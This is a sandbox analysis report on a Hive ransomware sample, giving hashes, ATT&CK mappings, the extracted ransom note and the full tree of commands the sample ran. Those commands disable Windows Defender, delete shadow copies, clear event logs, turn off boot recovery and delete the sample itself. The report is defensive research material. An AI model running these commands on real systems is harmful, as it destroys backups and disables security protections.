hive | af9e8f301a3677b457345921d7ee765a842eceb7df107714eaffc6193bfc6bbe

Analysis

max time kernel
2s
max time network
131s
platform
windows10-1703_x64
resource
win10-20231220-en
resource tags

arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
submitted
12-02-2024 07:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

zi1ysv64h.exe
Size

3.3MB
MD5

5384c6825a5707241c11d78529dbbfee
SHA1

85f5587e8ad534c2e5de0e72450b61ebda93e4fd
SHA256

3858e95bcf18c692f8321e3f8380c39684edb90bb622f37911144950602cea21
SHA512

856861295efb9c1b0000b369297cf6905a277c2d7dd0bc238f3884cd22598055450bf0459d68441f135bb77150685a86707ea9320a37e10548b40185f09b961f
SSDEEP

49152:HJ9mQ5uetkErb/TKvO90dL3BmAFd4A64nsfJ+9NRUMZXuPH9fc0KHPKG/g+eNgiz:HJ9jkl9NbBo9fc0KHYno

Score

10^/10

hive evasion ransomware trojan

Malware Config

Extracted

Path

C:\Program Files\Common Files\DESIGNER\K8zJ_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at you will need to purchase our decryption software. Please contact our sales department at: Login: Password: To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.2o4xo files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4308	MpCmdRun.exe

Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive

Modifies Windows Defender Real-time Protection settings 3 TTPs 11 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
192	wevtutil.exe
3744	wevtutil.exe
1720	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1592	bcdedit.exe
3424	bcdedit.exe

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3268	sc.exe
656	sc.exe
2372	sc.exe
4424	sc.exe
2160	sc.exe
4276	sc.exe
2096	sc.exe
3756	sc.exe
3064	sc.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4608	vssadmin.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP	reg.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2800	notepad.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3316	PING.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4452	powershell.exe
4452	powershell.exe
4452	powershell.exe
4292	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	192	wevtutil.exe
Token: SeBackupPrivilege	192	wevtutil.exe
Token: SeSecurityPrivilege	3744	wevtutil.exe
Token: SeBackupPrivilege	3744	wevtutil.exe
Token: SeSecurityPrivilege	1720	wevtutil.exe
Token: SeBackupPrivilege	1720	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	600	wmic.exe
Token: SeSecurityPrivilege	600	wmic.exe
Token: SeTakeOwnershipPrivilege	600	wmic.exe
Token: SeLoadDriverPrivilege	600	wmic.exe
Token: SeSystemProfilePrivilege	600	wmic.exe
Token: SeSystemtimePrivilege	600	wmic.exe
Token: SeProfSingleProcessPrivilege	600	wmic.exe
Token: SeIncBasePriorityPrivilege	600	wmic.exe
Token: SeCreatePagefilePrivilege	600	wmic.exe
Token: SeBackupPrivilege	600	wmic.exe
Token: SeRestorePrivilege	600	wmic.exe
Token: SeShutdownPrivilege	600	wmic.exe
Token: SeDebugPrivilege	600	wmic.exe
Token: SeSystemEnvironmentPrivilege	600	wmic.exe
Token: SeRemoteShutdownPrivilege	600	wmic.exe
Token: SeUndockPrivilege	600	wmic.exe
Token: SeManageVolumePrivilege	600	wmic.exe
Token: 33	600	wmic.exe
Token: 34	600	wmic.exe
Token: 35	600	wmic.exe
Token: 36	600	wmic.exe
Token: SeIncreaseQuotaPrivilege	4264	wmic.exe
Token: SeSecurityPrivilege	4264	wmic.exe
Token: SeTakeOwnershipPrivilege	4264	wmic.exe
Token: SeLoadDriverPrivilege	4264	wmic.exe
Token: SeSystemProfilePrivilege	4264	wmic.exe
Token: SeSystemtimePrivilege	4264	wmic.exe
Token: SeProfSingleProcessPrivilege	4264	wmic.exe
Token: SeIncBasePriorityPrivilege	4264	wmic.exe
Token: SeCreatePagefilePrivilege	4264	wmic.exe
Token: SeBackupPrivilege	4264	wmic.exe
Token: SeRestorePrivilege	4264	wmic.exe
Token: SeShutdownPrivilege	4264	wmic.exe
Token: SeDebugPrivilege	4264	wmic.exe
Token: SeSystemEnvironmentPrivilege	4264	wmic.exe
Token: SeRemoteShutdownPrivilege	4264	wmic.exe
Token: SeUndockPrivilege	4264	wmic.exe
Token: SeManageVolumePrivilege	4264	wmic.exe
Token: 33	4264	wmic.exe
Token: 34	4264	wmic.exe
Token: 35	4264	wmic.exe
Token: 36	4264	wmic.exe
Token: SeIncreaseQuotaPrivilege	4264	wmic.exe
Token: SeSecurityPrivilege	4264	wmic.exe
Token: SeTakeOwnershipPrivilege	4264	wmic.exe
Token: SeLoadDriverPrivilege	4264	wmic.exe
Token: SeSystemProfilePrivilege	4264	wmic.exe
Token: SeSystemtimePrivilege	4264	wmic.exe
Token: SeProfSingleProcessPrivilege	4264	wmic.exe
Token: SeIncBasePriorityPrivilege	4264	wmic.exe
Token: SeCreatePagefilePrivilege	4264	wmic.exe
Token: SeBackupPrivilege	4264	wmic.exe
Token: SeRestorePrivilege	4264	wmic.exe
Token: SeShutdownPrivilege	4264	wmic.exe
Token: SeDebugPrivilege	4264	wmic.exe
Token: SeSystemEnvironmentPrivilege	4264	wmic.exe
Token: SeRemoteShutdownPrivilege	4264	wmic.exe
Token: SeUndockPrivilege	4264	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4544 wrote to memory of 1200	4544	zi1ysv64h.exe	76
PID 4544 wrote to memory of 1200	4544	zi1ysv64h.exe	76
PID 1200 wrote to memory of 1388	1200	net.exe	77
PID 1200 wrote to memory of 1388	1200	net.exe	77
PID 4544 wrote to memory of 3092	4544	zi1ysv64h.exe	78
PID 4544 wrote to memory of 3092	4544	zi1ysv64h.exe	78
PID 3092 wrote to memory of 1528	3092	net.exe	80
PID 3092 wrote to memory of 1528	3092	net.exe	80
PID 4544 wrote to memory of 4396	4544	zi1ysv64h.exe	81
PID 4544 wrote to memory of 4396	4544	zi1ysv64h.exe	81
PID 4396 wrote to memory of 5000	4396	net.exe	83
PID 4396 wrote to memory of 5000	4396	net.exe	83
PID 4544 wrote to memory of 1536	4544	zi1ysv64h.exe	86
PID 4544 wrote to memory of 1536	4544	zi1ysv64h.exe	86
PID 1536 wrote to memory of 1408	1536	net.exe	84
PID 1536 wrote to memory of 1408	1536	net.exe	84
PID 4544 wrote to memory of 4800	4544	zi1ysv64h.exe	87
PID 4544 wrote to memory of 4800	4544	zi1ysv64h.exe	87
PID 4800 wrote to memory of 2884	4800	net.exe	89
PID 4800 wrote to memory of 2884	4800	net.exe	89
PID 4544 wrote to memory of 3896	4544	zi1ysv64h.exe	90
PID 4544 wrote to memory of 3896	4544	zi1ysv64h.exe	90
PID 3896 wrote to memory of 3840	3896	net.exe	92
PID 3896 wrote to memory of 3840	3896	net.exe	92
PID 4544 wrote to memory of 804	4544	zi1ysv64h.exe	93
PID 4544 wrote to memory of 804	4544	zi1ysv64h.exe	93
PID 804 wrote to memory of 4788	804	net.exe	95
PID 804 wrote to memory of 4788	804	net.exe	95
PID 4544 wrote to memory of 1272	4544	zi1ysv64h.exe	96
PID 4544 wrote to memory of 1272	4544	zi1ysv64h.exe	96
PID 1272 wrote to memory of 1092	1272	net.exe	98
PID 1272 wrote to memory of 1092	1272	net.exe	98
PID 4544 wrote to memory of 1108	4544	zi1ysv64h.exe	99
PID 4544 wrote to memory of 1108	4544	zi1ysv64h.exe	99
PID 1108 wrote to memory of 756	1108	net.exe	101
PID 1108 wrote to memory of 756	1108	net.exe	101
PID 4544 wrote to memory of 2096	4544	zi1ysv64h.exe	102
PID 4544 wrote to memory of 2096	4544	zi1ysv64h.exe	102
PID 4544 wrote to memory of 2372	4544	zi1ysv64h.exe	104
PID 4544 wrote to memory of 2372	4544	zi1ysv64h.exe	104
PID 4544 wrote to memory of 4424	4544	zi1ysv64h.exe	106
PID 4544 wrote to memory of 4424	4544	zi1ysv64h.exe	106
PID 4544 wrote to memory of 2160	4544	zi1ysv64h.exe	108
PID 4544 wrote to memory of 2160	4544	zi1ysv64h.exe	108
PID 4544 wrote to memory of 3268	4544	zi1ysv64h.exe	110
PID 4544 wrote to memory of 3268	4544	zi1ysv64h.exe	110
PID 4544 wrote to memory of 656	4544	zi1ysv64h.exe	112
PID 4544 wrote to memory of 656	4544	zi1ysv64h.exe	112
PID 4544 wrote to memory of 3756	4544	zi1ysv64h.exe	114
PID 4544 wrote to memory of 3756	4544	zi1ysv64h.exe	114
PID 4544 wrote to memory of 3064	4544	zi1ysv64h.exe	116
PID 4544 wrote to memory of 3064	4544	zi1ysv64h.exe	116
PID 4544 wrote to memory of 4276	4544	zi1ysv64h.exe	118
PID 4544 wrote to memory of 4276	4544	zi1ysv64h.exe	118
PID 4544 wrote to memory of 2904	4544	zi1ysv64h.exe	120
PID 4544 wrote to memory of 2904	4544	zi1ysv64h.exe	120
PID 4544 wrote to memory of 3056	4544	zi1ysv64h.exe	122
PID 4544 wrote to memory of 3056	4544	zi1ysv64h.exe	122
PID 4544 wrote to memory of 664	4544	zi1ysv64h.exe	124
PID 4544 wrote to memory of 664	4544	zi1ysv64h.exe	124
PID 4544 wrote to memory of 2084	4544	zi1ysv64h.exe	126
PID 4544 wrote to memory of 2084	4544	zi1ysv64h.exe	126
PID 4544 wrote to memory of 4772	4544	zi1ysv64h.exe	128
PID 4544 wrote to memory of 4772	4544	zi1ysv64h.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe
"C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4544
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SamSs" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SamSs" /y
    3⤵
    PID:1388
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3092
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SDRSVC" /y
    3⤵
    PID:1528
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SstpSvc" /y
    3⤵
    PID:5000
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "UI0Detect" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1536
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "vmicvss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "vmicvss" /y
    3⤵
    PID:2884
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "VSS" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "VSS" /y
    3⤵
    PID:3840
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "wbengine" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "wbengine" /y
    3⤵
    PID:4788
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "WebClient" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1272
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "WebClient" /y
    3⤵
    PID:1092
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "UnistoreSvc_19aea" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "UnistoreSvc_19aea" /y
    3⤵
    PID:756
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  - Launches sc.exe
  PID:2096
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  - Launches sc.exe
  PID:2372
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  - Launches sc.exe
  PID:4424
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "UI0Detect" start= disabled
  2⤵
  - Launches sc.exe
  PID:2160
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "vmicvss" start= disabled
  2⤵
  - Launches sc.exe
  PID:3268
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  - Launches sc.exe
  PID:656
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  - Launches sc.exe
  PID:3756
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  - Launches sc.exe
  PID:3064
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "UnistoreSvc_19aea" start= disabled
  2⤵
  - Launches sc.exe
  PID:4276
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2904
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3056
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:664
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:2084
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:4772
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:356
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2512
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4408
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2336
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2340
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:1116
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:2612
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:4576
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:3028
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:2652
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:4804
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:1100
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:2012
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:1896
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:1528
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:4692
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:3392
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:4332
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:4960
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  - Modifies registry class
  PID:3840
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  - Modifies registry class
  PID:2892
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  - Modifies registry class
  PID:3752
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4228
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:812
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2760
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2932
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  - Modifies security service
  PID:2468
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:3068
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4608
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:192
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:3744
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1720
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:600
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4264
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1592
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3424
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:372
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
    3⤵
    - Deletes Windows Defender Definitions
    PID:4308
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:4580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:3100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4292
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe C:\K8zJ_HOW_TO_DECRYPT.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2800
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"
  2⤵
  PID:2796

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "UI0Detect" /y
1⤵
PID:1408

C:\Windows\system32\PING.EXE
ping.exe -n 5 127.0.0.1
1⤵
- Runs ping.exe
PID:3316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Common Files\DESIGNER\K8zJ_HOW_TO_DECRYPT.txt

Filesize
1KB

MD5
f939d786e1fb30d287357d553719cf88

SHA1
b5001e66047bb37310e8b9c78fef2d1ef6443e1f

SHA256
5f3f1382a950d3c94afafb319c58b2b3731bce694966973685aad6bf9b156cad

SHA512
8da927a8e9425e10a29daeb4b93f66484eca789805dd66a29bfee52b59c2a6df9895bc5dfd814eca788ed27b53463cdd4e8983ff2fc04496d5998a4193f3c2a9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
80a70e00ded60ba3aa405515bb9ac122

SHA1
8ead0496111b822b275813256e74fda7d6658dcb

SHA256
c6748e30fabb8604b371964f7f013d3abd2e97a1815071299a6b0842d397dba9

SHA512
b18a371553055e4c7a10dacf2868701b5270df0d0e79d08ef16bda1b30e77b8d413e258daa0d881fcc3b6abc2111066ae319b6013608cb530278d9c7d8102e77

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mdwka4eb.s5z.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\temp3.swap.2o4xo

Filesize
1.7MB

MD5
fb63242c15c42571516f1f54c58e2b89

SHA1
d1b32f5a756b4d136e9127740e76650a70d6ea89

SHA256
e345d90093f323a3bec38e8b899d60f2fbfa56bbc01672113c510017ed298197

SHA512
fe6b94dd01eaa6aeffd5d6a1e2e175f3c0c7a2346c4c0770d1f63523883204ca63fb5efc64212b5797ae52d31a9d3ec6d687bba8b51a7b0e966ab6123287933f

Download Submit
memory/4292-96-0x00000231253B0000-0x00000231253C0000-memory.dmp

Filesize
64KB

Download
memory/4292-61-0x00000231253B0000-0x00000231253C0000-memory.dmp

Filesize
64KB

Download
memory/4292-99-0x00007FFF245B0000-0x00007FFF24F9C000-memory.dmp

Filesize
9.9MB

Download
memory/4292-75-0x00000231253B0000-0x00000231253C0000-memory.dmp

Filesize
64KB

Download
